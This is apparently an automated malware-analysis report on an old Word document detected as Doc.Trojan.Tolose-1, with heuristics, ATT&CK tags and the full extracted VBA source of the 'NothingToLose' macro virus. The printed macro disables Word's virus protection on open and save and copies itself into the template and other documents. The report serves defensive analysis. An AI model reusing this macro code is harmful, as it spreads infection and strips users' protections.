MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening a document. The macro attempts to disable virus protection and uses Application.OrganizerCopy to copy itself to other documents, indicating a potential for spreading or establishing persistence. The ClamAV detection 'Doc.Trojan.Tolose-1' further supports its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.Tolose-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Tolose-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1560 bytes |
SHA-256: 883fa21a33035e0d6f1174d467879846b58ad7ae7e459e124a8284de7452ead1 |
|||
|
Detection
ClamAV:
Doc.Trojan.Tolose-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NothingToLose"
Sub AutoOpen()
If Application.Options.VirusProtection = True Then
Application.Options.VirusProtection = False
End If
Macro2
Macro3
End Sub
Sub AutoSave()
On Error GoTo errs
If Application.Options.VirusProtection = True Then
Application.Options.VirusProtection = False
End If
Macro2
Macro3
errs:
Exit Sub
End Sub
Function Macro2()
Attribute Macro2.VB_Description = "Macro recorded 15/06/98 by Pham Hong Thai"
Attribute Macro2.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Macro2"
Dim fr As String
Dim des As String
On Error GoTo errs
des = Application.ActiveDocument.AttachedTemplate.Path & "\" & Application.ActiveDocument.AttachedTemplate.Name
fr = Application.ActiveDocument.Name
Application.OrganizerCopy Source:= _
fr, Destination:= _
des, Name:="NothingToLose", Object:=wdOrganizerObjectProjectItems
errs:
Exit Function
End Function
Function Macro3()
Dim fr As String
Dim des As String
On Error GoTo errs
fr = Application.MacroContainer.Path & "\" & Application.MacroContainer
des = Application.ActiveDocument.Name
Application.OrganizerCopy Source:= _
fr, Destination:= _
des, Name:="NothingToLose", Object:=wdOrganizerObjectProjectItems
errs:
Exit Function
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.